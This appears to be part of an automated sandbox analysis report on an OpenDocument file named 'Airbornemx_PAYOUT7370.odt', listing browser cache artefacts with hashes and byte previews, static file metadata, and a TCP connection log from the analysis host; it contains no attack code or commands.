SHA-512:	E3612D9E6809EC192F6E2D035290B730871C269A267115E4A5515CADB7E6E14E3DD4290A35ABAA8D14CF1FA3924DC76E11926AC341E0F6F372E9FC5434B546E5
Malicious:	false
URL:	https://aadcdn.msauth.net/shared/1.0/content/images/marching_ants_986f40b5a9dc7d39ef8396797f61b323.gif
Preview:	GIF89a`.........iii!.......!.&Edited with ezgif.com online GIF maker.!..NETSCAPE2.0.....,....`.....6......P.l.......H....I..:qJ......k....`BY..L..&...!.......,....`.....9..i....Q4......H..j.=.k9-5_..........j7..({.........!.......,....`.....9.......trV.......H....`.[.q6......>.. .CZ.&!.....M...!.......,....`.....8..........:......H..jJ..U..6_....../.el...q.).....!.......,....`.....9.....i..l.go.....H..".U...f......._......5......n..!.......,....`.....:..i......./.....H...5%.kE/5.........In.a..@&3.....J...!.......,....`.....9.......kr.j.....H...-.{Im5c..............@&.........!.......,....`.....9.........j..q....H...].&..\.5.........8..S..........!.......,....`.....9.......3q.g..5....H...:u..............Al..x.q.........!.......,....`.....9......\.F....z....H...zX...ov.........h3N.x4......j..!.......,....`.....9........Q.:......H....y..^...1.........n.!.F......E...!.......,....`.....8.........i,......H....*_.21.I.........%...

Chrome Cache Entry: 144

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	dropped
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 145

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

Chrome Cache Entry: 146

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 2 x 2, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	61
Entropy (8bit):	3.990210155325004
Encrypted:	false
SSDEEP:	3:yionv//thPltV/CI7syxl/k4E08up:6v/lhPgI17Tp
MD5:	9246CCA8FC3C00F50035F28E9F6B7F7D
SHA1:	3AA538440F70873B574F40CD793060F53EC17A5D
SHA-256:	C07D7D29E3C20FA6CA4C5D20663688D52BAD13E129AD82CE06B80EB187D9DC84
SHA-512:	A2098304D541DF4C71CDE98E4C4A8FB1746D7EB9677CEBA4B19FF522EFDD981E484224479FD882809196B854DBC5B129962DBA76198D34AAECF7318BD3736C6B
Malicious:	false
Preview:	.PNG........IHDR...............s....IDAT.....$.....IEND.B`.

Static File Info

General

File type:	OpenDocument Master Document
Entropy (8bit):	7.805480341476294
TrID:	OpenDocument Master Text document (93560/2) 73.92% OpenDocument Format (generic) (25004/1) 19.76% ZIP compressed archive (8000/1) 6.32%
File name:	Airbornemx_PAYOUT7370.odt
File size:	15'402 bytes
MD5:	1ea6fa3414bbcd946373de4b9e8c5c94
SHA1:	4ef9fe4d5ff1e7c45349b49f6570d0965cdc4527
SHA256:	0d194e588eb9bb944cbaeb8179c4326eaac96b835fc00616ed3c676aad446a6d
SHA512:	0497d2a5eaebfecdf8f4a15c5dbefce2c72740f72b962753dffa2dbfc0dbbe371d5cdc5187411943e7c4058c110401ce8de23eb3fe0e3c3ff04e2f710ed089a0
SSDEEP:	384:bMfVuol7bMrVd/VZr6RMQ7AU5zqnj6eLmLEAQR:bmnbMzVJUMQ7gj6eK4L
TLSH:	56626DD59C00ABEEEED30174809B5656D934F399F64FE44789B930CB4B0929E4B0F85D
File Content Preview:	PK........'.'ZJ...............mimetypeapplication/vnd.oasis.opendocument.text-masterPK........'.'Z................Configurations2/progressbar/PK........'.'Z................Configurations2/menubar/PK........'.'Z................Configurations2/popupmenu/PK.

File Icon


Icon Hash:	35e5a48c8a8a8599

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 7, 2025 15:17:57.450531960 CET	49673	443	192.168.2.16	204.79.197.203
Jan 7, 2025 15:17:57.751873016 CET	49673	443	192.168.2.16	204.79.197.203
Jan 7, 2025 15:17:58.358918905 CET	49673	443	192.168.2.16	204.79.197.203
Jan 7, 2025 15:17:59.568870068 CET	49673	443	192.168.2.16	204.79.197.203
Jan 7, 2025 15:18:00.301106930 CET	49689	80	192.168.2.16	192.229.211.108
Jan 7, 2025 15:18:01.974919081 CET	49673	443	192.168.2.16	204.79.197.203
Jan 7, 2025 15:18:05.626305103 CET	49678	443	192.168.2.16	20.189.173.10
Jan 7, 2025 15:18:05.926930904 CET	49678	443	192.168.2.16	20.189.173.10
Jan 7, 2025 15:18:06.531944990 CET	49678	443	192.168.2.16	20.189.173.10
Jan 7, 2025 15:18:06.786959887 CET	49673	443	192.168.2.16	204.79.197.203
Jan 7, 2025 15:18:07.747164011 CET	49678	443	192.168.2.16	20.189.173.10
Jan 7, 2025 15:18:10.091186047 CET	49680	80	192.168.2.16	192.229.211.108
Jan 7, 2025 15:18:10.154973984 CET	49678	443	192.168.2.16	20.189.173.10
Jan 7, 2025 15:18:10.393982887 CET	49680	80	192.168.2.16	192.229.211.108
Jan 7, 2025 15:18:11.001009941 CET	49680	80	192.168.2.16	192.229.211.108
Jan 7, 2025 15:18:12.222999096 CET	49680	80	192.168.2.16	192.229.211.108
Jan 7, 2025 15:18:14.626033068 CET	49680	80	192.168.2.16	192.229.211.108
Jan 7, 2025 15:18:14.962003946 CET	49678	443	192.168.2.16	20.189.173.10
Jan 7, 2025 15:18:16.398020029 CET	49673	443	192.168.2.16	204.79.197.203
Jan 7, 2025 15:18:19.436048031 CET	49680	80	192.168.2.16	192.229.211.108
Jan 7, 2025 15:18:22.980827093 CET	49720	443	192.168.2.16	188.114.96.3
Jan 7, 2025 15:18:22.980837107 CET	443	49720	188.114.96.3	192.168.2.16
Jan 7, 2025 15:18:22.980912924 CET	49720	443	192.168.2.16	188.114.96.3
Jan 7, 2025 15:18:22.981900930 CET	49720	443	192.168.2.16	188.114.96.3
Jan 7, 2025 15:18:22.981909990 CET	443	49720	188.114.96.3	192.168.2.16
Jan 7, 2025 15:18:23.467200041 CET	443	49720	188.114.96.3	192.168.2.16
Jan 7, 2025 15:18:23.467534065 CET	49720	443	192.168.2.16	188.114.96.3
Jan 7, 2025 15:18:23.467550993 CET	443	49720	188.114.96.3	192.168.2.16
Jan 7, 2025 15:18:23.468396902 CET	443	49720	188.114.96.3	192.168.2.16
Jan 7, 2025 15:18:23.468458891 CET	49720	443	192.168.2.16	188.114.96.3
Jan 7, 2025 15:18:23.470685959 CET	49720	443	192.168.2.16	188.114.96.3
Jan 7, 2025 15:18:23.470738888 CET	443	49720	188.114.96.3	192.168.2.16
Jan 7, 2025 15:18:23.470809937 CET	49720	443	192.168.2.16	188.114.96.3
Jan 7, 2025 15:18:23.470814943 CET	443	49720	188.114.96.3	192.168.2.16
Jan 7, 2025 15:18:23.470937014 CET	443	49720	188.114.96.3	192.168.2.16
Jan 7, 2025 15:18:23.470961094 CET	49720	443	192.168.2.16	188.114.96.3
Jan 7, 2025 15:18:23.470966101 CET	443	49720	188.114.96.3	192.168.2.16
Jan 7, 2025 15:18:23.470988989 CET	49720	443	192.168.2.16	188.114.96.3
Jan 7, 2025 15:18:23.471486092 CET	49723	443	192.168.2.16	188.114.96.3
Jan 7, 2025 15:18:23.471544027 CET	443	49723	188.114.96.3	192.168.2.16
Jan 7, 2025 15:18:23.471620083 CET	49723	443	192.168.2.16	188.114.96.3
Jan 7, 2025 15:18:23.471824884 CET	49723	443	192.168.2.16	188.114.96.3
Jan 7, 2025 15:18:23.471842051 CET	443	49723	188.114.96.3	192.168.2.16
Jan 7, 2025 15:18:23.954015017 CET	443	49723	188.114.96.3	192.168.2.16
Jan 7, 2025 15:18:23.954242945 CET	49723	443	192.168.2.16	188.114.96.3
Jan 7, 2025 15:18:23.954274893 CET	443	49723	188.114.96.3	192.168.2.16
Jan 7, 2025 15:18:23.955243111 CET	443	49723	188.114.96.3	192.168.2.16
Jan 7, 2025 15:18:23.955307961 CET	49723	443	192.168.2.16	188.114.96.3
Jan 7, 2025 15:18:23.956712961 CET	49723	443	192.168.2.16	188.114.96.3
Jan 7, 2025 15:18:23.956773043 CET	443	49723	188.114.96.3	192.168.2.16
Jan 7, 2025 15:18:23.956896067 CET	49723	443	192.168.2.16	188.114.96.3
Jan 7, 2025 15:18:23.956906080 CET	443	49723	188.114.96.3	192.168.2.16
Jan 7, 2025 15:18:24.002124071 CET	49723	443	192.168.2.16	188.114.96.3
Jan 7, 2025 15:18:24.406933069 CET	443	49723	188.114.96.3	192.168.2.16
Jan 7, 2025 15:18:24.407008886 CET	443	49723	188.114.96.3	192.168.2.16
Jan 7, 2025 15:18:24.407149076 CET	49723	443	192.168.2.16	188.114.96.3
Jan 7, 2025 15:18:24.407186031 CET	443	49723	188.114.96.3	192.168.2.16
Jan 7, 2025 15:18:24.407264948 CET	443	49723	188.114.96.3	192.168.2.16
Jan 7, 2025 15:18:24.407286882 CET	443	49723	188.114.96.3	192.168.2.16
Jan 7, 2025 15:18:24.407309055 CET	49723	443	192.168.2.16	188.114.96.3
Jan 7, 2025 15:18:24.407321930 CET	443	49723	188.114.96.3	192.168.2.16
Jan 7, 2025 15:18:24.407403946 CET	49723	443	192.168.2.16	188.114.96.3
Jan 7, 2025 15:18:24.409034967 CET	443	49723	188.114.96.3	192.168.2.16
Jan 7, 2025 15:18:24.411797047 CET	443	49723	188.114.96.3	192.168.2.16
Jan 7, 2025 15:18:24.411851883 CET	49723	443	192.168.2.16	188.114.96.3
Jan 7, 2025 15:18:24.411861897 CET	443	49723	188.114.96.3	192.168.2.16
Jan 7, 2025 15:18:24.411967993 CET	443	49723	188.114.96.3	192.168.2.16
Jan 7, 2025 15:18:24.411994934 CET	443	49723	188.114.96.3	192.168.2.16
Jan 7, 2025 15:18:24.412012100 CET	49723	443	192.168.2.16	188.114.96.3
Jan 7, 2025 15:18:24.412019968 CET	443	49723	188.114.96.3	192.168.2.16
Jan 7, 2025 15:18:24.412113905 CET	49723	443	192.168.2.16	188.114.96.3
Jan 7, 2025 15:18:24.498163939 CET	443	49723	188.114.96.3	192.168.2.16
Jan 7, 2025 15:18:24.498250961 CET	443	49723	188.114.96.3	192.168.2.16
Jan 7, 2025 15:18:24.498305082 CET	49723	443	192.168.2.16	188.114.96.3
Jan 7, 2025 15:18:24.498322010 CET	443	49723	188.114.96.3	192.168.2.16
Jan 7, 2025 15:18:24.498616934 CET	443	49723	188.114.96.3	192.168.2.16
Jan 7, 2025 15:18:24.498661041 CET	49723	443	192.168.2.16	188.114.96.3
Jan 7, 2025 15:18:24.498667955 CET	443	49723	188.114.96.3	192.168.2.16
Jan 7, 2025 15:18:24.498701096 CET	443	49723	188.114.96.3	192.168.2.16
Jan 7, 2025 15:18:24.498770952 CET	49723	443	192.168.2.16	188.114.96.3
Jan 7, 2025 15:18:24.498859882 CET	49723	443	192.168.2.16	188.114.96.3
Jan 7, 2025 15:18:24.498874903 CET	443	49723	188.114.96.3	192.168.2.16
Jan 7, 2025 15:18:24.511905909 CET	49724	443	192.168.2.16	151.101.2.137
Jan 7, 2025 15:18:24.511939049 CET	443	49724	151.101.2.137	192.168.2.16
Jan 7, 2025 15:18:24.512026072 CET	49724	443	192.168.2.16	151.101.2.137
Jan 7, 2025 15:18:24.512393951 CET	49725	443	192.168.2.16	104.18.94.41
Jan 7, 2025 15:18:24.512422085 CET	443	49725	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:24.512510061 CET	49725	443	192.168.2.16	104.18.94.41
Jan 7, 2025 15:18:24.512598038 CET	49724	443	192.168.2.16	151.101.2.137
Jan 7, 2025 15:18:24.512612104 CET	443	49724	151.101.2.137	192.168.2.16
Jan 7, 2025 15:18:24.512788057 CET	49725	443	192.168.2.16	104.18.94.41
Jan 7, 2025 15:18:24.512800932 CET	443	49725	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:24.513261080 CET	49726	443	192.168.2.16	104.17.25.14
Jan 7, 2025 15:18:24.513267040 CET	443	49726	104.17.25.14	192.168.2.16
Jan 7, 2025 15:18:24.513319969 CET	49726	443	192.168.2.16	104.17.25.14
Jan 7, 2025 15:18:24.513567924 CET	49726	443	192.168.2.16	104.17.25.14
Jan 7, 2025 15:18:24.513576031 CET	443	49726	104.17.25.14	192.168.2.16
Jan 7, 2025 15:18:24.562113047 CET	49678	443	192.168.2.16	20.189.173.10
Jan 7, 2025 15:18:24.974931955 CET	443	49725	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:24.975234032 CET	49725	443	192.168.2.16	104.18.94.41
Jan 7, 2025 15:18:24.975244999 CET	443	49725	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:24.976247072 CET	443	49725	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:24.976346970 CET	49725	443	192.168.2.16	104.18.94.41
Jan 7, 2025 15:18:24.977319956 CET	49725	443	192.168.2.16	104.18.94.41
Jan 7, 2025 15:18:24.977390051 CET	443	49725	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:24.977511883 CET	49725	443	192.168.2.16	104.18.94.41
Jan 7, 2025 15:18:24.977519989 CET	443	49725	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:24.981622934 CET	443	49726	104.17.25.14	192.168.2.16
Jan 7, 2025 15:18:24.981842041 CET	49726	443	192.168.2.16	104.17.25.14
Jan 7, 2025 15:18:24.981847048 CET	443	49726	104.17.25.14	192.168.2.16
Jan 7, 2025 15:18:24.982768059 CET	443	49726	104.17.25.14	192.168.2.16
Jan 7, 2025 15:18:24.982831001 CET	49726	443	192.168.2.16	104.17.25.14
Jan 7, 2025 15:18:24.983614922 CET	49726	443	192.168.2.16	104.17.25.14
Jan 7, 2025 15:18:24.983676910 CET	443	49726	104.17.25.14	192.168.2.16
Jan 7, 2025 15:18:24.983758926 CET	49726	443	192.168.2.16	104.17.25.14
Jan 7, 2025 15:18:24.983763933 CET	443	49726	104.17.25.14	192.168.2.16
Jan 7, 2025 15:18:25.009219885 CET	443	49724	151.101.2.137	192.168.2.16
Jan 7, 2025 15:18:25.011845112 CET	49724	443	192.168.2.16	151.101.2.137
Jan 7, 2025 15:18:25.011867046 CET	443	49724	151.101.2.137	192.168.2.16
Jan 7, 2025 15:18:25.012721062 CET	443	49724	151.101.2.137	192.168.2.16
Jan 7, 2025 15:18:25.012794018 CET	49724	443	192.168.2.16	151.101.2.137
Jan 7, 2025 15:18:25.013842106 CET	49724	443	192.168.2.16	151.101.2.137
Jan 7, 2025 15:18:25.013896942 CET	443	49724	151.101.2.137	192.168.2.16
Jan 7, 2025 15:18:25.014003992 CET	49724	443	192.168.2.16	151.101.2.137
Jan 7, 2025 15:18:25.014010906 CET	443	49724	151.101.2.137	192.168.2.16
Jan 7, 2025 15:18:25.026130915 CET	49726	443	192.168.2.16	104.17.25.14
Jan 7, 2025 15:18:25.026139975 CET	49725	443	192.168.2.16	104.18.94.41
Jan 7, 2025 15:18:25.058109045 CET	49724	443	192.168.2.16	151.101.2.137
Jan 7, 2025 15:18:25.096220970 CET	443	49725	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:25.096277952 CET	443	49725	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:25.096340895 CET	49725	443	192.168.2.16	104.18.94.41
Jan 7, 2025 15:18:25.097234011 CET	49725	443	192.168.2.16	104.18.94.41
Jan 7, 2025 15:18:25.097250938 CET	443	49725	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:25.099250078 CET	49727	443	192.168.2.16	104.18.94.41
Jan 7, 2025 15:18:25.099281073 CET	443	49727	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:25.099390984 CET	49727	443	192.168.2.16	104.18.94.41
Jan 7, 2025 15:18:25.099575043 CET	49727	443	192.168.2.16	104.18.94.41
Jan 7, 2025 15:18:25.099594116 CET	443	49727	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:25.111270905 CET	443	49724	151.101.2.137	192.168.2.16
Jan 7, 2025 15:18:25.117918015 CET	443	49726	104.17.25.14	192.168.2.16
Jan 7, 2025 15:18:25.117960930 CET	443	49726	104.17.25.14	192.168.2.16
Jan 7, 2025 15:18:25.118021011 CET	49726	443	192.168.2.16	104.17.25.14
Jan 7, 2025 15:18:25.118042946 CET	443	49726	104.17.25.14	192.168.2.16
Jan 7, 2025 15:18:25.118068933 CET	443	49726	104.17.25.14	192.168.2.16
Jan 7, 2025 15:18:25.118135929 CET	49726	443	192.168.2.16	104.17.25.14
Jan 7, 2025 15:18:25.118140936 CET	443	49726	104.17.25.14	192.168.2.16
Jan 7, 2025 15:18:25.118201971 CET	443	49726	104.17.25.14	192.168.2.16
Jan 7, 2025 15:18:25.118246078 CET	49726	443	192.168.2.16	104.17.25.14
Jan 7, 2025 15:18:25.118251085 CET	443	49726	104.17.25.14	192.168.2.16
Jan 7, 2025 15:18:25.118316889 CET	443	49726	104.17.25.14	192.168.2.16
Jan 7, 2025 15:18:25.118370056 CET	49726	443	192.168.2.16	104.17.25.14
Jan 7, 2025 15:18:25.118375063 CET	443	49726	104.17.25.14	192.168.2.16
Jan 7, 2025 15:18:25.122654915 CET	443	49726	104.17.25.14	192.168.2.16
Jan 7, 2025 15:18:25.122710943 CET	49726	443	192.168.2.16	104.17.25.14
Jan 7, 2025 15:18:25.122714996 CET	443	49726	104.17.25.14	192.168.2.16
Jan 7, 2025 15:18:25.122741938 CET	443	49726	104.17.25.14	192.168.2.16
Jan 7, 2025 15:18:25.122787952 CET	49726	443	192.168.2.16	104.17.25.14
Jan 7, 2025 15:18:25.122792959 CET	443	49726	104.17.25.14	192.168.2.16
Jan 7, 2025 15:18:25.131839991 CET	443	49724	151.101.2.137	192.168.2.16
Jan 7, 2025 15:18:25.131848097 CET	443	49724	151.101.2.137	192.168.2.16
Jan 7, 2025 15:18:25.131863117 CET	443	49724	151.101.2.137	192.168.2.16
Jan 7, 2025 15:18:25.131932020 CET	49724	443	192.168.2.16	151.101.2.137
Jan 7, 2025 15:18:25.131947041 CET	443	49724	151.101.2.137	192.168.2.16
Jan 7, 2025 15:18:25.132019043 CET	49724	443	192.168.2.16	151.101.2.137
Jan 7, 2025 15:18:25.170136929 CET	49726	443	192.168.2.16	104.17.25.14
Jan 7, 2025 15:18:25.203020096 CET	443	49724	151.101.2.137	192.168.2.16
Jan 7, 2025 15:18:25.203033924 CET	443	49724	151.101.2.137	192.168.2.16
Jan 7, 2025 15:18:25.203082085 CET	443	49724	151.101.2.137	192.168.2.16
Jan 7, 2025 15:18:25.203114033 CET	49724	443	192.168.2.16	151.101.2.137
Jan 7, 2025 15:18:25.203134060 CET	443	49724	151.101.2.137	192.168.2.16
Jan 7, 2025 15:18:25.203166008 CET	49724	443	192.168.2.16	151.101.2.137
Jan 7, 2025 15:18:25.203176022 CET	49724	443	192.168.2.16	151.101.2.137
Jan 7, 2025 15:18:25.204874992 CET	443	49724	151.101.2.137	192.168.2.16
Jan 7, 2025 15:18:25.204890013 CET	443	49724	151.101.2.137	192.168.2.16
Jan 7, 2025 15:18:25.204957008 CET	49724	443	192.168.2.16	151.101.2.137
Jan 7, 2025 15:18:25.204962969 CET	443	49724	151.101.2.137	192.168.2.16
Jan 7, 2025 15:18:25.205013037 CET	49724	443	192.168.2.16	151.101.2.137
Jan 7, 2025 15:18:25.217783928 CET	443	49726	104.17.25.14	192.168.2.16
Jan 7, 2025 15:18:25.217845917 CET	443	49726	104.17.25.14	192.168.2.16
Jan 7, 2025 15:18:25.218022108 CET	49726	443	192.168.2.16	104.17.25.14
Jan 7, 2025 15:18:25.218027115 CET	443	49726	104.17.25.14	192.168.2.16
Jan 7, 2025 15:18:25.218110085 CET	443	49726	104.17.25.14	192.168.2.16
Jan 7, 2025 15:18:25.218137026 CET	443	49726	104.17.25.14	192.168.2.16
Jan 7, 2025 15:18:25.218173981 CET	49726	443	192.168.2.16	104.17.25.14
Jan 7, 2025 15:18:25.218179941 CET	443	49726	104.17.25.14	192.168.2.16
Jan 7, 2025 15:18:25.218230963 CET	49726	443	192.168.2.16	104.17.25.14
Jan 7, 2025 15:18:25.218585014 CET	443	49726	104.17.25.14	192.168.2.16
Jan 7, 2025 15:18:25.219257116 CET	443	49726	104.17.25.14	192.168.2.16
Jan 7, 2025 15:18:25.219309092 CET	49726	443	192.168.2.16	104.17.25.14
Jan 7, 2025 15:18:25.219316959 CET	443	49726	104.17.25.14	192.168.2.16
Jan 7, 2025 15:18:25.219340086 CET	443	49726	104.17.25.14	192.168.2.16
Jan 7, 2025 15:18:25.219388962 CET	49726	443	192.168.2.16	104.17.25.14
Jan 7, 2025 15:18:25.219394922 CET	443	49726	104.17.25.14	192.168.2.16
Jan 7, 2025 15:18:25.219528913 CET	443	49726	104.17.25.14	192.168.2.16
Jan 7, 2025 15:18:25.219552040 CET	443	49726	104.17.25.14	192.168.2.16
Jan 7, 2025 15:18:25.219592094 CET	49726	443	192.168.2.16	104.17.25.14
Jan 7, 2025 15:18:25.219597101 CET	443	49726	104.17.25.14	192.168.2.16
Jan 7, 2025 15:18:25.219638109 CET	49726	443	192.168.2.16	104.17.25.14
Jan 7, 2025 15:18:25.219691992 CET	443	49726	104.17.25.14	192.168.2.16
Jan 7, 2025 15:18:25.219991922 CET	443	49726	104.17.25.14	192.168.2.16
Jan 7, 2025 15:18:25.220017910 CET	443	49726	104.17.25.14	192.168.2.16
Jan 7, 2025 15:18:25.220045090 CET	443	49726	104.17.25.14	192.168.2.16
Jan 7, 2025 15:18:25.220068932 CET	443	49726	104.17.25.14	192.168.2.16
Jan 7, 2025 15:18:25.220079899 CET	49726	443	192.168.2.16	104.17.25.14
Jan 7, 2025 15:18:25.220086098 CET	443	49726	104.17.25.14	192.168.2.16
Jan 7, 2025 15:18:25.220124006 CET	49726	443	192.168.2.16	104.17.25.14
Jan 7, 2025 15:18:25.220701933 CET	443	49726	104.17.25.14	192.168.2.16
Jan 7, 2025 15:18:25.220741987 CET	443	49726	104.17.25.14	192.168.2.16
Jan 7, 2025 15:18:25.220794916 CET	49726	443	192.168.2.16	104.17.25.14
Jan 7, 2025 15:18:25.220799923 CET	443	49726	104.17.25.14	192.168.2.16
Jan 7, 2025 15:18:25.220909119 CET	443	49726	104.17.25.14	192.168.2.16
Jan 7, 2025 15:18:25.220982075 CET	443	49726	104.17.25.14	192.168.2.16
Jan 7, 2025 15:18:25.221020937 CET	49726	443	192.168.2.16	104.17.25.14
Jan 7, 2025 15:18:25.221404076 CET	49726	443	192.168.2.16	104.17.25.14
Jan 7, 2025 15:18:25.221414089 CET	443	49726	104.17.25.14	192.168.2.16
Jan 7, 2025 15:18:25.234199047 CET	49728	443	192.168.2.16	104.17.25.14
Jan 7, 2025 15:18:25.234241009 CET	443	49728	104.17.25.14	192.168.2.16
Jan 7, 2025 15:18:25.234324932 CET	49728	443	192.168.2.16	104.17.25.14
Jan 7, 2025 15:18:25.234528065 CET	49728	443	192.168.2.16	104.17.25.14
Jan 7, 2025 15:18:25.234543085 CET	443	49728	104.17.25.14	192.168.2.16
Jan 7, 2025 15:18:25.293515921 CET	443	49724	151.101.2.137	192.168.2.16
Jan 7, 2025 15:18:25.293533087 CET	443	49724	151.101.2.137	192.168.2.16
Jan 7, 2025 15:18:25.293608904 CET	49724	443	192.168.2.16	151.101.2.137
Jan 7, 2025 15:18:25.293617964 CET	443	49724	151.101.2.137	192.168.2.16
Jan 7, 2025 15:18:25.293653965 CET	49724	443	192.168.2.16	151.101.2.137
Jan 7, 2025 15:18:25.294606924 CET	443	49724	151.101.2.137	192.168.2.16
Jan 7, 2025 15:18:25.294621944 CET	443	49724	151.101.2.137	192.168.2.16
Jan 7, 2025 15:18:25.294676065 CET	49724	443	192.168.2.16	151.101.2.137
Jan 7, 2025 15:18:25.294682026 CET	443	49724	151.101.2.137	192.168.2.16
Jan 7, 2025 15:18:25.295171976 CET	443	49724	151.101.2.137	192.168.2.16
Jan 7, 2025 15:18:25.295226097 CET	443	49724	151.101.2.137	192.168.2.16
Jan 7, 2025 15:18:25.295237064 CET	49724	443	192.168.2.16	151.101.2.137
Jan 7, 2025 15:18:25.295368910 CET	49724	443	192.168.2.16	151.101.2.137
Jan 7, 2025 15:18:25.295639038 CET	49724	443	192.168.2.16	151.101.2.137
Jan 7, 2025 15:18:25.295649052 CET	443	49724	151.101.2.137	192.168.2.16
Jan 7, 2025 15:18:25.307336092 CET	49729	443	192.168.2.16	151.101.66.137
Jan 7, 2025 15:18:25.307358027 CET	443	49729	151.101.66.137	192.168.2.16
Jan 7, 2025 15:18:25.307435989 CET	49729	443	192.168.2.16	151.101.66.137
Jan 7, 2025 15:18:25.307626009 CET	49729	443	192.168.2.16	151.101.66.137
Jan 7, 2025 15:18:25.307641029 CET	443	49729	151.101.66.137	192.168.2.16
Jan 7, 2025 15:18:25.570667982 CET	443	49727	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:25.571182966 CET	49727	443	192.168.2.16	104.18.94.41
Jan 7, 2025 15:18:25.571192980 CET	443	49727	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:25.571538925 CET	443	49727	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:25.571830988 CET	49727	443	192.168.2.16	104.18.94.41
Jan 7, 2025 15:18:25.571898937 CET	443	49727	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:25.571969032 CET	49727	443	192.168.2.16	104.18.94.41
Jan 7, 2025 15:18:25.615329027 CET	443	49727	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:25.708136082 CET	443	49728	104.17.25.14	192.168.2.16
Jan 7, 2025 15:18:25.708390951 CET	49728	443	192.168.2.16	104.17.25.14
Jan 7, 2025 15:18:25.708416939 CET	443	49728	104.17.25.14	192.168.2.16
Jan 7, 2025 15:18:25.709326982 CET	443	49728	104.17.25.14	192.168.2.16
Jan 7, 2025 15:18:25.709392071 CET	49728	443	192.168.2.16	104.17.25.14
Jan 7, 2025 15:18:25.709676981 CET	49728	443	192.168.2.16	104.17.25.14
Jan 7, 2025 15:18:25.709732056 CET	443	49728	104.17.25.14	192.168.2.16
Jan 7, 2025 15:18:25.709796906 CET	49728	443	192.168.2.16	104.17.25.14
Jan 7, 2025 15:18:25.709805965 CET	443	49728	104.17.25.14	192.168.2.16
Jan 7, 2025 15:18:25.718136072 CET	443	49727	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:25.718322039 CET	443	49727	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:25.718358994 CET	443	49727	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:25.718396902 CET	443	49727	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:25.718405962 CET	49727	443	192.168.2.16	104.18.94.41
Jan 7, 2025 15:18:25.718416929 CET	443	49727	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:25.718441010 CET	49727	443	192.168.2.16	104.18.94.41
Jan 7, 2025 15:18:25.718894005 CET	443	49727	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:25.718951941 CET	49727	443	192.168.2.16	104.18.94.41
Jan 7, 2025 15:18:25.718960047 CET	443	49727	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:25.719337940 CET	443	49727	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:25.719369888 CET	443	49727	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:25.719413996 CET	49727	443	192.168.2.16	104.18.94.41
Jan 7, 2025 15:18:25.719423056 CET	443	49727	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:25.719459057 CET	49727	443	192.168.2.16	104.18.94.41
Jan 7, 2025 15:18:25.723016977 CET	443	49727	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:25.759118080 CET	49728	443	192.168.2.16	104.17.25.14
Jan 7, 2025 15:18:25.774319887 CET	49727	443	192.168.2.16	104.18.94.41
